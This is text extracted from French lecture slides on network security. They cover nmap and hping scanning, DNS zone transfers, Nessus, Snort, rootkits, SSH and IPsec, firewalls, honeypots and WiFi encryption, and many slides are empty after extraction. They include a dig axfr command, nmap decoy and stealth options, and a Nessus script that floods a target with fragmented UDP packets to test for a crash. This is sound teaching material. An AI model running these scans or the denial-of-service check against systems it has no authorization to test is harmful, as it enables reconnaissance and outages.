(c) dp
152
Cartographie du rseau
Mthode standard peu efficace: ping (Packet Internet Groper). Outils plus sophistiqus: Pinger http://www.nmrc.org/files/snt/ fping http://www.fping.com hping3 http://www.hping.org - Test firewall rules - Advanced port scanning - Test net performance using different protocols, packet size, TOS (type of service) and fragmentation. - Path MTU discovery - Transferring files between even really fascist firewall rules. - Traceroute-like under different protocols. - Firewalk-like usage. - Remote OS fingerprinting. - TCP/IP stack auditing. - A lot of others.
- ENSICAEN (c) dp
06/10/2008
154
Cartographie du rseau
Le DNS d'un site centralise toutes les machines connectes au rseau. Certains DNS incorrectement configurs peuvent autoriser des transferts de zones:
dig @ns.domaine.com domaine.com axfr
06/10/2008 - ENSICAEN (c) dp 155
Scan Spoof
hping permet de scanner une machine en usurpant l'identit d'une autre:
scanner
SYN, port, source=rebond RST si port ferm
cible
SYN-ACK
06/10/2008
- ENSICAEN -
(c) dp
157
nmap
Outil de rfrence. nmap sous unix (http://www.nmap.org) Scanne une machine ou un rseau la recherche des services ouverts et de son identit. Supporte de nombreuses techniques de scan:
06/10/2008
- ENSICAEN -
(c) dp
158
(-sT, dfaut) (-sS) (-sF) (-sX) (-sN) (-b server) (-f) (-sU) (-sR) (-I)
159
06/10/2008
nmap
Beaucoup de fonctionnalits prsentes dans nmap: Scan Sans envoi de trame ICMP (-P0) Scan en mode verbeux (-v v) Impose le port source (-g port) FingerPrinting: Remote OS detection (-O) decoy scanning (-Ddecoy_host1,decoy2[,...]) Timing policy (-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane)
06/10/2008
- ENSICAEN -
(c) dp
160
06/10/2008
- ENSICAEN -
(c) dp
161
FingerPrinting passif
FingerPrinting est dit passif quand il n'met aucune information:
Analyse des trames envoyes par une machine distante. Analyse d'un fichier de log.
Exemple: p0f
http://www.stearns.org/p0f
06/10/2008 - ENSICAEN (c) dp 162
Association port-processus
Comment trouver localement quel processus est en coute sur un port:
Unix
netstat anp (sur les versions rcentes d'unix) commande plus gnrale: lsof (LiSt Opened Files)
ftp://vic.cc.purdue.edu/pub/tools/unix/lsof
Windows
Active Ports tcpview
06/10/2008 - ENSICAEN (c) dp 163
06/10/2008
Exemple Windows
06/10/2008
- ENSICAEN -
(c) dp
165
06/10/2008
- ENSICAEN -
(c) dp
166
06/10/2008
- ENSICAEN -
(c) dp
167
Concept de faille
Une faille est une vulnrabilit permettant des attaquants d'obtenir un accs non autoris un systme. On peut trouver des vulnrabilits tous les niveaux:
routeurs logiciels client/serveur systme d'exploitation firewalls
06/10/2008
- ENSICAEN -
(c) dp
168
Vulnrabilits
Des dizaines de vulnrabilits sont dcouvertes chaque semaine (environ 2000 vulnrabilits au cours du 1er semestre 2005). Une vulnrabilit peut tre la consquence d'une ngligence (mot de passe nul ou trivial par exemple) ou d'une erreur de programmation (buffer overflow, ). Certaines vulnrabilits peuvent tre gardes secrtes ( des fins d'espionnage, d'utilisation mafieuse, ). La dcouverte de nouvelles vulnrabilits peut faire l'objet de rmunration; on entre dans l're du "vulnerability business". Certains sites diffusent des exploits sans mentionner de correctifs.
06/10/2008 - ENSICAEN (c) dp 169
Vulnrabilits
Un administrateur doit se tenir inform quotidiennement des dernires vulnrabilits et avoir de la ractivit. Beaucoup d'information en ligne:
Sites officiels
CERT (Computer Emergency Response Team) Gouvernement franais: CERTA (Centre d'Expertise de Rponse et de Traitement des Attaques), composante du COSSI (Centre Oprationnel de la Scurit des Systmes d'Informations) au sein du DCSSI (Direction Centrale de la Scurit des Systmes d'Information) dpendant du SGDN (Secrtaire Gnral de la Dfense Nationale) sous l'autorit du Premier Ministre.
Sites spcialiss
Listes de diffusion: BugTraq
(http://www.securityfocus.com)
et beaucoup d'autres
06/10/2008 - ENSICAEN (c) dp 170
06/10/2008
- ENSICAEN -
(c) dp
171
Scanners
Attention aux problmes lgaux et thiques lors de l'utilisation de scanners. Les scanners laissent des traces dans les fichiers d'audit. On trouve des scanners commerciaux et domaines public.
06/10/2008 - ENSICAEN (c) dp 173
Scanners
Historiquement: SATAN (Security Administrator's Tool for Analysing Networks) distribu en avril 1995 par Dan Farmer et Weitse Venema. Quelques rfrences de scanners:
nessus http://www.nessus.org iss http://www.iss.net
06/10/2008 - ENSICAEN (c) dp 174
Modle client/serveur: Utilise des plug-in Dispose un langage de programmation (NASL = Nessus Attack Scripting Language)
06/10/2008 - ENSICAEN (c) dp 175
Nessus: suite
Gnre des rapports clairs et exportables. Base de donnes des vulnrabilits connues remise jour rgulirement. Etc.
06/10/2008 - ENSICAEN (c) dp 176
06/10/2008
- ENSICAEN -
(c) dp
177
udp1 = forge_udp_packet( ip : ip, uh_sport: sport, uh_dport: dport, uh_ulen : 8 + PADDING); set_ip_elements(ip : ip, ip_off : FRG_CONST + 1, ip_len : 20 + FRG_CONST); udp2 = forge_udp_packet(ip : ip,uh_sport : sport, uh_dport : dport, uh_ulen : 8 + PADDING); send_packet(udp1, udp2, pcap_active:FALSE) x 500; sleep(5); alive = end_denial(); if(!alive){ set_kb_item(name:"Host/dead", value:TRUE); security_hole(0, prototype:"udp"); }
addr = this_host(); ip = forge_ip_packet(ip_v : 4, ip_hl : 5, ip_len : 20 + 8 + PADDING, ip_id : 0x455, ip_p : IPPROTO_UDP, ip_tos : 0, ip_ttl : 0x40, ip_off : IP_MF, ip_src : addr);
06/10/2008
- ENSICAEN -
(c) dp
178
06/10/2008
- ENSICAEN -
(c) dp
181
Snort: fonctionnalits
Dtection au niveau des protocoles IP TCP UDP ICMP Dtection dactivits anormales Stealth scan, OS Finger Printing code ICMP invalide Prprocesseur pour la gestion des fragments, les sessions http,
06/10/2008 - ENSICAEN (c) dp 182
Architecture de snort
Sortie 1 plugins de dtection Prprocesseur 1
Sortie n
libpcap
06/10/2008
- ENSICAEN -
(c) dp
183
06/10/2008
- ENSICAEN -
(c) dp
185
Exemple d'attaquant
06/10/2008
- ENSICAEN -
(c) dp
186
Mtrologie
Les outils d'analyse de trafic et de mtrologie permettent de dtecter l'utilisation anormale du rseau et les pics de consommation (scan massif, ). Quelques exemples d'outils:
extra (EXternal TRaffic Analyser) http://lpsc.in2p3.fr/extra/ mrtg (Multi Router Traffic Grapher) http://www.mrtg.org vigilog http://vigilog.ensmp.fr/
06/10/2008 - ENSICAEN (c) dp 188
extra
Logiciel de monitoring du trafic rseau Fonctions de base:
Recueil des logs routeurs (IP source, IP destination, Port source, Port destination, volume). Stockage dans une base de donnes Traitement systmatique sur les logs Interface graphique d'analyse
06/10/2008 - ENSICAEN (c) dp 189
INTERNET
EXTRA
EXTRA BD
RESEAU LOCAL
LOAD START/STOP LOGS
ROUTEUR
SNIFFER
COLLECTEUR
06/10/2008
- ENSICAEN -
(c) dp
190
Exemple de rsultat
06/10/2008
- ENSICAEN -
(c) dp
191
mrtg
Utilisation de SNMP pour relever les compteurs des priphriques (routeurs, ). Cration de pages html en temps rels contenant des graphes reprsentant le trafic sur le rseau en cours de surveillance.
06/10/2008 - ENSICAEN (c) dp 192
06/10/2008
- ENSICAEN -
(c) dp
193
vigilog
Rediriger les violations d'ACL d'un routeur sur le syslog d'une machine. Traitement des logs par des scripts perl. Courriel de synthse envoy l'administrateur. Rapport sous forme de page html:
adresses d'origine les plus actives. adresses de destination les plus actives. les ports les plus recherchs. etc.
- ENSICAEN (c) dp 194
06/10/2008
06/10/2008
- ENSICAEN -
(c) dp
196
06/10/2008
- ENSICAEN -
(c) dp
199
06/10/2008
Pour windows:
l0phtcrack http://www.atstake.com/
- ENSICAEN (c) dp 200
06/10/2008
- ENSICAEN -
(c) dp
201
06/10/2008
- ENSICAEN -
(c) dp
202
06/10/2008
- ENSICAEN -
(c) dp
203
RootKits
Un "rootkit" est dfini par la NSA:
A hacker security tool that captures passwords and message traffic to and from a computer. A collection of tools that allows a hacker to provide a backdoor into a system, collect information on other systems on the network, mask the fact that the system is compromised, and much more. Rootkit is a classic example of Trojan Horse software. Rootkit is available for a wide range of operating systems.
06/10/2008 - ENSICAEN (c) dp 204
RootKits
Souvent utilis par un intrus pour se dissimuler et garder les accs privilgis qu'il a obtenu. Les premires alertes sur l'utilisation de rootkits datent de fvrier 1994. Outil devenu trs populaire et qui complique la dtection d'intrusion. Trs rpandu sur les machines SUN et Linux. Une rootkit classique contiendra un sniffer, des logiciels avec backdoors comme inetd, login,, remplacera des commandes comme ps, netstat, ls, On pourra trouver galement des commandes de nettoyage de logs (/var/log), etc.
06/10/2008 - ENSICAEN (c) dp 205
06/10/2008
- ENSICAEN -
(c) dp
206
Dtection de rootkits
Si la machine est infecte, toutes les commandes locales sont suspectes. Dtection des ports ouverts non officiels (avec nmap sur une machine externe). Par exemple l'inetd de lrk4 ouvre le port 5002. Recherche des rpertoires spcifiques aux rootkits (par exemple /dev/ptry avec lrk4). Utilitaires de dtection: unix: chkrootkit http://www.chkrootkit.org/ windows: rootkitrevealer
06/10/2008
Bibliothques Dynamiques
Beaucoup de fichiers sont modifier pour rester invisible. Cependant, les binaires utilisent le concept des bibliothques dynamiques pour viter d'tre trop gros (dll sous windows, fichiers .so sous unix). La modification d'une bibliothque dynamique peut suffire modifier plusieurs commandes.
06/10/2008 - ENSICAEN (c) dp 208
06/10/2008
- ENSICAEN -
(c) dp
209
Session chiffre
ssh (Secure Shell) plutt que telnet,rlogin,rsh,rcp Gnration d'une paire de clef RSA (toutes les heures) par le serveur. Envoi de la clef publique au client qui se connecte. Le client gnre une clef symtrique, la chiffre avec la clef du serveur et la renvoie au serveur. Le reste de la communication est en chiffrement symtrique.
06/10/2008 - ENSICAEN (c) dp 211
Tunneling
Un protocole de tunneling est utilis pour crer un chemin priv (tunnel) travers une infrastructure ventuellement publique. Les donnes peuvent tre encapsules et cryptes pour emprunter le tunnel. Solution intressante pour relier deux entits distantes moindre cot.
06/10/2008 - ENSICAEN (c) dp 212
Tunneling ssh
Un flux tcp quelconque peut tre redirig dans un tunnel ssh:
client serveur
client ssh
serveur ssh
06/10/2008
- ENSICAEN -
(c) dp
213
06/10/2008
- ENSICAEN -
(c) dp
214
06/10/2008
- ENSICAEN -
(c) dp
216
06/10/2008
- ENSICAEN -
(c) dp
217
Fonctionnement SSL
1) Hello, version de SSL, protocole de chiffrement pris en charge, longueurs de cl, mcanisme d'change de cl 2) Hello, examen des mthodes supportes par le client, envoi les mthodes et algorithmes de chiffrement, longueurs et mcanisme d'changes de cl compatibles, envoi de la cl publique approuve par une autorit.
client SSL
serveur SSL
3) Vrification du certificat envoy par le serveur, envoi d'un message cl matre: liste de mthodologie de scurit de scurit employes par le client et cl de session crypte avec la cl publique du serveur.
06/10/2008
- ENSICAEN -
(c) dp
218
IPSec
IP SECurity protocol issu d'une task force de l'IETF Quelques spcifications de l'IPSec: Authentification, confidentialit et intgrit (protection contre l'IP spoofing et le TCP session hijacking) Confidentialit (session chiffre pour se protger du sniffing) Scurisation au niveau de la couche transport (protection L3). Algorithmes utiliss: Authentification pas signature DSS ou RSA Intgrit par fonction de condensation (HMAC-MD5, HMACSHA-1, ) Confidentialit par chiffrement DES, RC5,IDEA,CAST, Blowfish
06/10/2008 - ENSICAEN (c) dp 219
Fonctionnement IPSec
ipsec peut fonctionner:
en mode transport; les machines source et destination sont les 2 extrmits de la connexion scurise. en mode tunnel: les extrmits de la connexion scurise sont des passerelles; les communications hte hte sont encapsules dans les enttes de protocole de tunnel IPSec. en mode intermdiaire: tunnel entre une machine et une passerelle.
06/10/2008 - ENSICAEN (c) dp 220
06/10/2008
- ENSICAEN -
(c) dp
222
06/10/2008
- ENSICAEN -
(c) dp
223
06/10/2008
- ENSICAEN -
(c) dp
224
06/10/2008
- ENSICAEN -
(c) dp
225
06/10/2008
- ENSICAEN -
(c) dp
226
06/10/2008
- ENSICAEN -
(c) dp
227
Firewall
06/10/2008
- ENSICAEN -
(c) dp
228
Firewall
Protger son rseau du monde extrieur (Internet, autres services de l'entreprise). Maintenir des utilisateurs l'intrieur du rseau (employ, enfant, ) Restreindre le nombre de machines surveiller avec un maximum d'attention. Certaines machines doivent rester ouvertes (serveur www, dns, etc).
06/10/2008 - ENSICAEN (c) dp 229
Firewall
C'est un outil souvent indispensable mais jamais suffisant:
Pas de protection contre le monde intrieur Pas de protection contre les mots de passe faibles
Firewall
Contrler les accs entrant et sortant:
par service par adresse IP
Firewall
Diffrents types de firewall:
filtres de paquets passerelles de circuits passerelles d'application Combinaison des 3 types prcdents
06/10/2008
- ENSICAEN -
(c) dp
232
Filtrage de paquets
06/10/2008
- ENSICAEN -
(c) dp
234
Passerelle de circuits
06/10/2008
- ENSICAEN -
(c) dp
236
Passerelle d'applications
06/10/2008
- ENSICAEN -
(c) dp
238
06/10/2008
- ENSICAEN -
(c) dp
239
06/10/2008
- ENSICAEN -
(c) dp
240
Translation d'adresses, Tunnels IPsec, PPTP, L2TP, Identification des connexions, Serveur Web pour offrir une interface de configuration agrable, Relai applicatif (proxy), Dtection d'intrusion (IDS) Prvention d'intrusion (IPS)
- ENSICAEN (c) dp 241
06/10/2008
Exemples firewall
checkpoint
http://www.checkpoint.com
06/10/2008
- ENSICAEN -
(c) dp
242
Firewalls personnels:
Kerio Personnal Firewall http://www.kerio.com Look "n" Stop http://www.looknstop.com ZoneAlarm http://www.zonelabs.com Firewall Windows
06/10/2008
- ENSICAEN -
(c) dp
243
06/10/2008
- ENSICAEN -
(c) dp
244
Les honeypots
06/10/2008
- ENSICAEN -
(c) dp
245
06/10/2008
Honeypot
Un honeypot peut etre une machine simple sans scurit (par exemple sans mot de passe administrateur). Un logiciel permettant de grer des htes virtuels et de simuler des piles TCP/IP diffrentes. Une liste de logiciels d'honeypot: http://www.honeypots.net/honeypots/products
06/10/2008
- ENSICAEN -
(c) dp
247
06/10/2008
- ENSICAEN -
(c) dp
248
06/10/2008
- ENSICAEN -
(c) dp
249
Wifi et scurit
06/10/2008
- ENSICAEN -
(c) dp
251
06/10/2008
Modes de communication
Mode infrastructure
Mode AD HOC
06/10/2008
- ENSICAEN -
(c) dp
254
Wi-Fi: la rglementation
Lutilisation des frquences est normalise par lETSI (European Telecommunications Standard Institute). Cette normalisation est soumise lagrment dorganismes nationaux; en France par lART (Autorit de Rgulation des Tlcommunications): http://www.art-telecom.fr Pas dhomognisation de la disponibilit des frquences au niveau europen. En France, libralisation de lutilisation des frquences (France hexagonale) depuis le 24 juillet 2003 (communiqu de lART).
06/10/2008 - ENSICAEN (c) dp 255
Les consquences
Ecoute et interception de trafics Insertion de trafic Introduction d'une station illicite sur le rseau rebonds
06/10/2008 - ENSICAEN (c) dp 258
Le chiffrement WEP
Historiquement le premier chiffrement utilis par le WiFi. Chiffrement symtrique des trames 802.11 utilisant l'algorithme RC4 avec des cls de 64 ou 128 bits. Les 24 premiers bits servent pour l'initialisation diminuant d'autant la taille de la cl. La cl doit tre partage par tous les quipements. Cet algorithme de chiffrement est trs insuffisant.
06/10/2008
- ENSICAEN -
(c) dp
260
Le chiffrement WPA
Le chiffrement WPA repose sur des protocoles d'authentification et un algorithme de chiffrement robuste: TKIP (Temporary Key Integrity Protocol) qui introduit un chiffrement par paquet et un changement automatique des cls de chiffrement. WPA repose sur un serveur d'authentification (gnralement un serveur RADIUS, Remote Authentification Dial-in User Service) permettant d'identifier les utilisateurs et de leur dfinir des droits. Pour les petits rseaux, une version restreinte du protocole est appele WPA-PSK (Pre Share Key) ncessitant de dployer une mme cl de chiffrement (pass phrase) pour tous les quipements.
06/10/2008
- ENSICAEN -
(c) dp
261
Le chiffrement WPA2
La norme 802.11i a t ratifie le 24 juin 2004. La certification WPA2 a t cre par la Wi-Fi Alliance. WPA2 utilise l'algorithme AES (Advanced Encryption Standard).
06/10/2008
- ENSICAEN -
(c) dp
262
L'authentification
Authentification par adresse MAC est peu scurise. Le protocole 802.1X dfinit une encapsulation de EAP (Extensible Authentification Protocol) au dessus du protocole IEEE 802.11 Diffrentes variantes du protocole EAP:
Protocole EAP-MD5 (EAP - Message Digest 5) ; protocole LEAP (Lightweight EAP) developp par Cisco ; protocole EAP-TLS (EAP - Transport Layer Security) cre par Microsoft et accept sous la norme RFC 2716 ; protocole EAP-TTLS (EAP - Tunneled Transport Layer Security) developp par Funk Software et Certicom ; protocole PEAP (Protected EAP) developp par Microsoft, Cisco et RSA Security ...
06/10/2008 - ENSICAEN (c) dp 263
L'authentification
EAP-TLS authentifie les deux parties par des certificats; le serveur prsente un certificat, le client le valide et prsente son tour son certificat. PEAP utilis avec MS-CHAPv2 requiert un certificat ct serveur et un couple login/mot de passe ct client.
06/10/2008 - ENSICAEN (c) dp 264
Conseils et conclusions
06/10/2008 - ENSICAEN (c) dp 265
06/10/2008
- ENSICAEN -
(c) dp
267
Installation/Administration
Beaucoup de vigilance est ncessaire lors de l'installation et de l'administration de systmes informatiques. L'installation par dfaut de logiciels peut tre source de problmes. Exemple: l'installation par dfaut d'apache donne accs quelques cgi-bin pas ncessairement utiles l'exploitation du site. donne des informations sur le site (test-cgi, printenv, ) peut tre source de failles Exemple de scanner de cgi: whisker http://the.wiretapped.net/security/vulnerability-scanning/whisker/
06/10/2008
- ENSICAEN -
(c) dp
268
Installation/Administration
Protection physique des quipements. Intgration des objectifs "scurit" dans les choix de rseaux et des systmes d'exploitation. Localiser et ne laisser ouvert que les services indispensables. Fermer les comptes inutiliss.
06/10/2008
- ENSICAEN -
(c) dp
269
Installation/Administration
Se tenir informer des vulnrabilits. Passer rgulirement les correctifs. Installer les outils ncessaires (contrle d'authentification, audits, ) Consulter rgulirement le journal gnr par ces outils. Informer ses utilisateurs. Cryptage des informations etc
06/10/2008 - ENSICAEN (c) dp 270
Conclusions
Aucune scurit n'est parfaite. On dfinit juste un seuil. Des outils sont ncessaires, mais le travail quotidien est indispensable. Le niveau de scurit d'un site est celui de son maillon le plus faible. La scurit n'apporte qu'un gain indirect. Par consquent, il n'est pas facile de convaincre les dcideurs de l'entreprise.
06/10/2008
- ENSICAEN -
(c) dp
272
Conclusions
Le seul systme informatique qui est vraiment sr est un systme teint et dbranch, enferm dans un blockhaus sous terre, entour par des gaz mortels et des gardiens hautement pays et arms. Mme dans ces conditions, je ne parierais pas ma vie dessus. (c) Gene Spafford, fondateur et directeur du "Computer Operations, Audit and Security Technology Laboratory.
06/10/2008 - ENSICAEN (c) dp 273
06/10/2008